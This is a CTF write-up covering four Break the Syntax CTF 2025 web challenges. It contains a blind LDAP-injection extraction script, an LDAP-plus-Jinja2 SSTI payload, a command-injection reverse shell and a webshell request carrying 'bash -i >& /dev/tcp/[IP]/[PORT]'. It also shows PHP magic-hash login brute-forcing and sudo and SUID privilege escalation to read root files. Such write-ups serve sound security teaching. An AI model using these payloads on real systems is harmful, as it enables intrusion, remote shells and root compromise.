- Published on
BreakTheSyntaxCTF 2025 - All web challenges
- Authors
- Name
- rvr

Introduction
Writeup for all 4/4 challenges from Break the Syntax CTF 2025. More info about this ctf is here.
Table of contents
Lightweight

The app welcomes us with a login screen:

Along with a link to the app, we get the full source code. We can quickly deduce that the vulnerability is ldap injection
:
from ldap3 import Server, Connection, ALL
# ... #
username = request.form['username']
password = request.form['password']
conn = Connection(server,
user=f'cn=admin,dc=bts,dc=ctf',
password=ADMIN_PASSWORD,
auto_bind=True)
# ... #
conn.search(
'ou=people,dc=bts,dc=ctf',
f'(&(employeeType=active)(uid={username})(userPassword={password}))', # <- LDAP Injection is here
attributes=['uid']
)
# ... #
return render_template('index.html', username=username)
The flag can be found in the description
field.
dn: ou=people,dc=bts,dc=ctf
objectClass: organizationalUnit
ou: people
dn: uid=testuser,ou=people,dc=bts,dc=ctf
objectClass: inetOrgPerson
cn: Test User
sn: User
uid: testuser
userPassword: REDACTED
employeeType: active
# ... #
echo "description: BtSCTF{fake_flag}" >> /base.ldif && cat /base.ldif
# ... #
Unfortunately, no data from ldap is passed to the index.html
template. So the only way to get a flag is blind ldap injection
and extract it character by character.
But before we get to that, let's analyze the syntax of an ldap
query.
Ldap injection - syntax
In ldap, queries are created using reverse Polish notation, i.e. the logical condition is placed first, followed by actual conditions in parentheses. Hence, in the app we can see the ldap query like this: (&(employeeType=active)(uid=username)(userPassword=password))
. Moreover, LDAP also defines special-purpose characters such as *
, which replaces all other characters.
This knowledge is enough to extract the flag. So in username
field we should put *
and in password
field: *)(description=<CHAR_1>*
(where <CHAR_1>
is every character we are testing). If the app responds with a 200
status code, it will mean the ldap
query is successful, thus bypassing authentication and confirming that the searched character is valid. Otherwise, the server will respond with the code 401 - Invalid credentials
. These two possible states are quite enough to determine which character appears in the flag and which does not. We continue analogously, adding the found characters to the query, as follows:
(&(employeeType=active)(uid=*)(userPassword=*)(description=<CHAR_1>*
(&(employeeType=active)(uid=*)(userPassword=*)(description=<CHAR_1><CHAR_2>*
(&(employeeType=active)(uid=*)(userPassword=*)(description=<CHAR_1><CHAR_2><CHAR_3>*
and so on.
The final script
To avoid carrying out this tedious task manually, I have prepared the following script, which will automatically retrieve the flag for us.
# Blind ldap injection
import string
import requests
import re
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
alphabet = string.ascii_lowercase + string.digits + "{_-}"
url = "https://lightweight.chal.bts.wh.edu.pl"
current_flag="BtSCTF{"
def send_req(password):
data = {
"username": "*",
"password": password
}
return requests.post(url, data=data, verify=False)
def get_flag(current_flag):
password = f"*)(description={current_flag}*"
response = send_req(password)
return 200 == response.status_code
for i in range(0,35):
for char in alphabet:
print("testing...", char)
if get_flag(current_flag+char):
current_flag += char
print("FLAG:", current_flag)
break
if re.match('BtSCTF{.*}', current_flag):
break
Flag:
BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}
Lightweight-2

In this task we again face LDAP Injection
, but this time without access to the source code. After bypassing authentication with the payload username=*&password=*
, we get a page where the html comment suggests that the flag is not inside LDAP data:
SPRT-1337 Removed all sensitive data from LDAP.

SSTI
Analyzing the html code, we can see that the username
parameter is reflected in the response. Given that the lightweight-1
challenge uses Flask with Jinja2 templating, it seems natural to test payloads that allow server side template injection
in lightweight-2
challenge as well.
But how can we insert an ssti
payload into the app's response so that the LDAP query succeeds?
For this we need to use another operator in LDAP
- or (|
). Let's look at the payload:
username=*)(|(uid={{7*7}})(uid=*)&password=*
Ldap will process the following query: (&(employeeType=active)(uid=*)(|(uid={{7*7}})(uid=*))(userPassword=*))
- {{7*7}}
is a classic ssti
payload. Because of or
operator, only one of the conditions in (|(uid={{7*7}})(uid=*))
needs to be satisfied for the entire query to evaluate to true
. As established earlier, (uid=*)
matches any value of uid
, so it is always true
and that means the condition (uid={{7*7}})
doesn't need to be satisfied at all. In the response we will see *)(|(uid=49)(uid=*)
demonstrating that the ssti
payload is evaluated to 49
. This confirms the presence of the ssti
vulnerability.

There is nothing left to do but send the payload which dumps all conifg
variables:
*)(|(uid={{config}})(uid=*)

And there we can spot the flag!
BtSCTF{_ld4p_1nj3ction_plus_sst1_3quals_fl4g}
lightweight-3

The latest lightweight
challenge looks similar to the previous two. We also have the ability to bypass authentication by sending *
in username
and password
fields. However, this time the app has an additional feature, the ability to search for prism
elements in a separate ldap base
.

It turns out that when we inject '
into the request, we get an sh
error:

This means one thing: user-supplied input is passed to shell
without proper sanitization, resulting in a command injection
vulnerability. As a consequence, we can execute arbitrary system commands - for example, launching a reverse shell to gain more convenient access to the system:

Privilege escalation
Now, let's look for the flag on the server. We quickly hit the hint
file, which says that the flag is located in /root/flag.txt
:
prism@ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:/app$ ls -la
total 48
drwxr-xr-x 1 prism prism 4096 May 9 21:40 .
drwxr-xr-x 1 root root 4096 May 9 21:32 ..
drwxrwxr-x 2 prism prism 4096 May 9 21:33 __pycache__
-rwxr-xr-x 1 prism prism 616 May 8 14:09 add-prism-schema.ldif
-rwxr-xr-x 1 prism prism 1906 May 8 14:09 app.py
-rwxr-xr-x 1 prism prism 911 May 8 14:09 base.ldif
-rwxr-xr-x 1 prism prism 386 May 8 14:27 entrypoint.sh
-rwxr-xr-x 1 prism prism 29 May 8 14:19 hint
-rw-rw-r-- 1 prism prism 72 May 9 21:40 index.html
-rwxr-xr-x 1 prism prism 44 May 8 14:09 requirements.txt
drwxr-xr-x 1 prism prism 4096 May 8 14:10 static
drwxr-xr-x 1 prism prism 4096 May 8 14:10 templates
prism@ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:/app$ cat hint
Flag is in /root/flag.txt :)
As a prism
user, we do not have permissions to read files inside /root
directory. After running the sudo -l
command, we can see the following output:
prism@ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:/app$ sudo -l
Matching Defaults entries for prism on
ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User prism may run the following commands on
ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:
(ALL) NOPASSWD: /usr/bin/highlight -i /home/prism/*
And this means the privesc
is simple - running the command sudo /usr/bin/highlight -i /home/prism/../../root/flag.txt
satisfies the condition seen above. So we can read the flag:
prism@ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:/app$ sudo /usr/bin/highlight -i /home/prism/../../../root/flag.txt
<bin/highlight -i /home/prism/../../../root/flag.txt
<!DOCTYPE html>
<html>
<head>
<meta charset="ISO-8859-1">
<title>/home/prism/../../../root/flag.txt</title>
<link rel="stylesheet" type="text/css" href="highlight.css">
</head>
<body class="hl">
<pre class="hl">BtSCTF{_gl4d_t0_s33_y0u_g0t_output_out_of_th3_comm4nd_1nj3ction}
</pre>
</body>
</html>
Flag:
BtSCTF{_gl4d_t0_s33_y0u_g0t_output_out_of_th3_comm4nd_1nj3ction}
Minicms

Key observations
/users
page contains a list of all users' emails,- in the job description the word
compared
is in bold, - after sending a query like the one below, we can see the
php
error so we know that the password is hashed with thesha256
function:

Putting all this together, we can assume that the password hash is being checked using ==
so type juggling is possible if any user's password hash is in the form of 0e12345...
.
Type juggling - magic hash
Let's take the magic hash
for sha256
from this page, for example:
TyNOQHUS:0e66298694359207596086558843543959518835691168370379069085300385
And test all users using this script:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
emails = [
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]",
"[email protected]"
]
MAGIC_HASH_VALUE="TyNOQHUS"
for email in emails:
url = "https://minicms-57ef5a7e31054704.chal.bts.wh.edu.pl:443/auth/login"
json={"email": email, "password": MAGIC_HASH_VALUE}
r = requests.post(url, json=json, verify=False)
print(email, r.text)
The password is valid for the user [email protected]
and we get a token.
$ python3 test-users.py
...[snip]...
[email protected] {"error":"Invalid email or password."}
[email protected] {"error":"Invalid email or password."}
[email protected] {"error":"Invalid email or password."}
[email protected] {"message":"Login successful","token":"120349812450928137590234857230945823745"}
[email protected] {"error":"Invalid email or password."}
[email protected] {"error":"Invalid email or password."}
...[snip]...

Webshell
With the token, we can execute system commands by sending a request: POST /files?token=<TOKEN>&cmd=<CMD>

For convenience, we can send the classic revshell:
POST /files?token=120349812450928137590234857230945823745&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/[IP]/[PORT]+0>%261'
Privilege escalation
The flag is not visible in any obvious place. Is it again located in /root
?
On the server in /home/minicms
we can find a binary (file_JeqsmJ6xwH.bin
) that has suid
set:
minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ cd /home/minicms
cd /home/minicms
minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ ls -la
ls -la
total 448
drwxr-xr-x 1 minicms minicms 4096 May 8 17:57 .
drwxr-xr-x 1 root root 4096 May 8 17:57 ..
-rw-r--r-- 1 minicms minicms 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 minicms minicms 3526 Mar 27 2022 .bashrc
-rw-r--r-- 1 minicms minicms 807 Mar 27 2022 .profile
-rw-r--r-- 1 root root 12 May 8 17:57 entrypoint.sh
...
-rw-r--r-- 1 root root 100 May 8 17:57 file_HB0ypcaxLO.bin
-rw-r--r-- 1 root root 100 May 8 17:57 file_HMLk4I1ZhD.bin
-rw-r--r-- 1 root root 100 May 8 17:57 file_J8Zwkwax94.bin
-rwsr-xr-x 1 root root 16664 May 8 17:57 file_JeqsmJ6xwH.bin
-rw-r--r-- 1 root root 100 May 8 17:57 file_KfwDrIsawP.bin
-rw-r--r-- 1 root root 100 May 8 17:57 file_LB0FSGfmVT.bin
-rw-r--r-- 1 root root 100 May 8 17:57 file_LOqNsOzJyq.bin
-rw-r--r-- 1 root root 100 May 8 17:57 file_MfPwA8oLY1.bin
-rw-r--r-- 1 root root 100 May 8 17:57 file_N8cdCCtzaH.bin
...
-rw-r--r-- 1 root root 17 May 8 17:57 testscript.sh
minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ ls -la file_JeqsmJ6xwH.bin
-rwsr-xr-x 1 root root 16664 May 8 17:57 file_JeqsmJ6xwH.bin
minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ file file_JeqsmJ6xwH.bin
file_JeqsmJ6xwH.bin: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82958e9d7550081f618461e3066930eaa4e993a9, for GNU/Linux 3.2.0, not stripped
After running it with any parameter, we get an sh
error:
minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ ./file_JeqsmJ6xwH.bin abcd
sh: 1: abcd: not found
To be able to execute commands as root
and get the flag, it is enough to run the following command:
minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ ./file_JeqsmJ6xwH.bin 'cat /root/flag.txt'
BtSCTF{juggl3_php_qu173_4444w3s0m3}